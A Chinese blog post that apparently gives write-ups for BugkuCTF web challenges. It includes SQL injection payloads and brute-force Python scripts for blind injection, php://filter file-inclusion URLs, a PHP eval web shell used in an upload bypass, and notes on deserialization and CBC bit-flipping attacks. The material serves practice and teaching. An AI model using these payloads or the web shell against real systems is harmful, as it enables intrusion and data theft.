• BUGKUctf-web-writeup


    BUGKUctf-web-writeup

    找到了个ctf平台。里面的web挺多的。终于将web题目写的差不多了。

    Web

    签到题

    加群就可以了

    Web2

    直接F12就看到了

    文件上传测试

    Burp抓包
    文件名改成 1.jpg.php 即可

    计算题

    F12 改长度限制即可

    Web3

    阻止一直弹框,然后源代码

    Unicode解码下就可以了

    Sql注入

    右键源代码,看到gb2312 易想到宽字节注入

    测试下

    爆出数据库:

    结合题目,得flag

    SQL注入1

    Sql语句:$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

    可以用%00绕过关键字过滤

    爆出数据库:

    Flag :

    你必须让他停下

    Burp抓包,返回的包图片不一样. Intruder 多次试试
    随便构造没用的参数发送就行了
    根据length 查看就行了

    本地包含

    源代码

    eval存在命令执行漏洞,构造出文件包含

    Base64解码即可

    后来得知可以这么写。

    积累太少。

    变量1

    源代码

    (和“百度杯”CTF比赛(二月场)题目一致)
    提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。 利用超全局数组GLOBALS 可以打印出所有变量。

    Web4

    右键源代码 看见了一串js代码 先URL解码

    就是拼接 67d709b2b54aa2aa648cf6e87a7114f1 提交

    Web5

    右键源代码,将JSfuck代码扔进F12控制台

    flag在index里

    点下链接http://120.24.86.145:8005/post/index.php?file=show.php
    发现File参数 易想到文件包含漏洞

    PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

    Base64解码

    phpcmsV9

    利用注册页面的漏洞试试能不能getshell。显示操作失败。

    所以只能先利用sql注入,注入出后台账号和密码。网上有很多注入exp。

    花了一毛解密 a123456

    在后台可以直接看到我们在注册页面上传的shell ,原来只是没回显。 菜刀连上去即可

    海洋CMS

    利用网上已经知道的漏洞。

    根据提示,列出目录开始找。

    输入密码查看flag

    根据提示 用burp爆破

    前女友

    点链接看到源代码

    利用PHPmd5()漏洞strcmp()漏洞

    成绩单

    容易看出考SQL注入

    爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1

    爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#

    Flag:-1' union select 1,skctf_flag,3,4 from fl4g#

    Web6

    Flag base64解码后还有base64的字符 在解码 。 是串数字。根据提示就是要把那串数字POST过去 ,要短时间内。Python脚本:

    #!usr/bin/env python
    #!coding=utf-8
    
    __author__ = 'zhengjim'
    
    import requests
    import base64
    
    
    url ='http://120.24.86.145:8002/web6/'
    
    r =requests.session()
    
    headers = r.get(url).headers
    key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
    data={'margin':key}
    print r.post(url=url,data=data).content
    

    cookies欺骗??

    点进来URL
    http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

    a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。Line是行数

    遍历获得源代码

    得到源代码后,看出,构造cookie margin=margin 然后读keys.php即可

    xss

    过滤<>u003cscriptu003ealert(_key_)u003c/scriptu003e 可绕过

    never give up

    发现提示1p.html 访问1p.html后发现了一串WORDS。解码。有串base64解码 。在url解码

    直接访问即可(出题人应该是忘记屏蔽了-。-)

    正解应该是

    welcome to bugkuctf

    看源代码:

    txt参数的File_get_contents()利用php://input来绕过fileinclude()文件包含

    读出hint.php解码后:

    在读flag.php,结果提示不给flag 于是读下index.php

    发现正则匹配file 不能包含flag

    看到这段代码及hint.php类有个 __toString()构造函数,可以构造password的序列化。然后反序列读出flag.php文件

    login1

    根据提示 就是注册一个账号如下

    admin                       a
    

    然后就可以重置admin密码,后登入即可。

    过狗一句话

    看提示 猜测index.php就是shell,于是直接利用

    flag

    各种绕过哟

    根据源代码 GET 一个unname和POST一个passwd值不能相等,sha1要相等 ,提交数组。Sha1()均返回null 绕过

    Web8

    根据源代码

    extract可以将$_GET数组的值转为变量,默认是如果有冲突,则覆盖已有的变量。
    File_get_contents()利用php://input绕过。

    字符?正则?

    一步步跟着匹配即可,[:punct:]是匹配任何标点符号

    考细心

    看主页404,但和真正的404页面不一样,没什么发现,于是试了下robots.txt 发现了resusl.php文件。

    本来以为是伪造IP,然后注入得到password,提交。然后均失败了。 试了下?x=admin 出现flag。。。

    求getshell

    上传题。 各种方法尝试。发现是后缀名黑名单检测和类型检测
    php别名:php2, php3, php4, php5, phps, pht, phtm, phtml 均试下。

    发现php5绕过

    上面的Content-Type的值 大小写绕过

    flag.php

    点了没反应,提示:hint 多次尝试,发现GET一个hint就有源代码

    审计代码,要传一个cookie名为ISecer的反序列的值。并且反序列后的值要全相等于"$KEY"
    这里要注意是有双引号。

    而且$KEY的传值的此之后的。所以反序列的值不是ISecer:www.isecer.com

    我们要得到的值是string(0) ""所以序列化该值即可。

    Web15

    给了源代码
    INSERT INTO的注入,并且不能有,否则会吃掉后面的语句

    Payload:11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1

    Python脚本

    import requests
    import string
    url="http://120.24.86.145:8002/web15/"
    allString=string.lowercase + string.uppercase + string.digits
    flag=""
    
    for i in range(1,33):
       for str1 in allString:
         data="11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1".format(str(i),str1)
         # print data
         headers={"x-forwarded-for":data}
         try:
             res=requests.get(url,headers=headers,timeout=3)
         except requests.exceptions.ReadTimeout, e:
             flag += str1
             print flag
             break
    print 'flag:' + flag
    

    文件包含2

    看见file想到文件包含,php://filter/read=convert.base64-encode/resource=hello.php

    失败。
    右键源代码,发现有个upload.php上传。所以上传一个带一句话木马的图片包含即可。
    <?php?>这两个被过滤了。换个姿势上传~

    <?=eval($_POST['cmd']);
    

    成功连接

    sql注入2

    根据题目sql注入 试了好久好久,于是请教他人。。。结果大牛说访问下flag 就行了。巨坑!

    wordpress

    登入后台。根据这个构造账号密码 sun/sun19980321

    看到隐藏文章

    经人提醒才知道,是数据库

    找到http://wp.bugku.com/phpmyadmin/ 登入

    Login3

    过滤了空格or and where + * union ,%0a %0b等等

    测试得出用 ^

    Payload

    import requests
    url = 'http://47.93.190.246:49167/index.php'
    r = requests.Session()
    result = ''
    for i in range(1,33):
        for j in range(37,127):
            payload = "admin1'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
            print payload
            data = {"username":payload,"password":"asd"}
            html = r.post(url,data=data)
            if "password error!" in html.content:
                result += chr(j)
                print result
                break
    print result
    

    跑出MD5解密 登入即可

    login4

    看到登入框就试试有没有注入,源代码泄露。 发现.index.php.swp 存在
    恢复成源码。

    根据提示,知道了是利用cbc字符翻转攻击。

    原理看文章:http://wooyun.jozxing.cc/static/drops/tips-7828.html

    首先先post username = ‘qdmin’ password=’1’ 会得到一个ivcipher

    利用CBC字节翻转攻击将qdminq 改成 a后加密得到cipher

    替换cookie[cipher]的值 访问。

    反序列化失败。 原因是第一个块数据(16字节)被破坏了。因为要username要等于admin所以不能利用文章里的说的填充字符。 又因为是第一个块数据被破坏,第一个块数据是和IV有关,所以只要将在CBC字符翻转攻击,得到新的IV就可以修复第一块数据。

    代入vi即可

  • 相关阅读:
    Linux学习(2)
    Linux学习(1)
    Sklearn_决策树(1)
    graphviz 包的安装问题
    函数的一些使用方法
    在装Scrapy库时出现了错误 ,如下图:
    跨域问题及解决
    pip永久换源及基本设置(新手必看)
    drf☞jwt自动签发与手动签发
    drf频率源码、自动生成接口文档、JWT
  • 原文地址:https://www.cnblogs.com/zhengjim/p/6972527.html
Copyright © 2020-2023  润新知